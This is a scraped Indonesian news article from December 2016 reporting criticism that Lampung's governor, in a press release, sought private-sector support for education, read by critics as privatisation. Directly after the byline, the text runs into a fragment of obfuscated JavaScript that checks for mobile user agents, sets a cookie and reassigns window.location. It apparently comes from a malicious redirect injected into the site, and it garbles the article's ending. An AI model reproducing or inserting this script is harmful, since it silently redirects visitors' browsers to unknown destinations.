LAMPUNGNEWS.CO.ID- Pendidikan dan kesehatan merupakan kebutuhan publik yang mestinya difasilitasi negara. Namun demikian, alih-alih memperbaiki kualitas pendidikan, Gubernur Lampung M.Ridho Ficardo dalam rilis yang dibuat Humas Pemrpov Lampung atas nama Kabag Biro Humas dan Protokol Heriyansyah, justru mengharapkan dukungan swasta yang artinya, bakal swastanisasi dunia pendidikan.

Teks lengkapnya, tertulis. “Gubernur Lampung M. Ridho Ficardo berharap pembangunan di bidang pendidikan tidak hanya menjadi tanggung jawab Pemerintah Daerah tapi juga menjadi tanggung jawab seluruh eleman masyarakat termasuk pihak swasta.”

img-20161202-wa0010Meski demikian, acara Gathering Haji dan Pemberian Bantuan Sekolah Prestasi Muamalah di Grand Ballroom Hotel The 7th Bandarlampung, Jumat (2/12/2016) itu sebenarnya, tidak dihadiri Gubernur Lampung. Melainkan diwakilkan pada Asisten Bidang Administrasi Umum Hamartoni Ahadis.

Diterangkan oleh Kabag Humas Biro Humas dan Protokol Heriyansyah, semua pihak harus mengarisbawahi pentingnya pendidikan. Hal ini dikarenakan pendidikan dapat meningkatkan moral, etika, dan budi pekerti yang baik serta memberikan semangat, tekad dan energi yang kuat, dengan pikiran yang positif yang pada gilirannya dapat meningkatkan kemandirian dan berdaya saing, menuju Provinsi Lampung yang maju dan sejahtera.

“Guna mensukseskan berbagai agenda pembangunan di bidang pendidikan, tentunya dibutuhkan juga campur tangan pihak-pihak swasta dan segenap elemen masyarakat guna mendukung program-program yang dapat meningkatkan akses pendidikan yang berkualitas tinggi dan peningkatan kualitas pendidikan,” jelasnya.

Di sisi lain, praktisi pendidikan di Bandarlampung, Sutrisno menjelaskan, pihaknya enggan berkomentar terkait swastanisasi pendidikan oleh Gubernur Lampung sebab belum tahu konteks atau materi yang disampaikan Gubernur Lampung. Namun jika kalimat swastanisasi diucapkan gubernur untuk bidang pendidikan, itu persoalan serius yang layak digugat.

“Kalau benar gubernur mau swastanisasi di bidang pendidikan, jelas itu pelanggaran Undang-undang, tapi saya tidak tahu apa itu omongan gubernur atau hanya kemauan humas,” kata dia pada lampungnews.co.id, Sabtu, 3 Desember 2016. (bus) k\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

NO COMMENTS

LEAVE A REPLY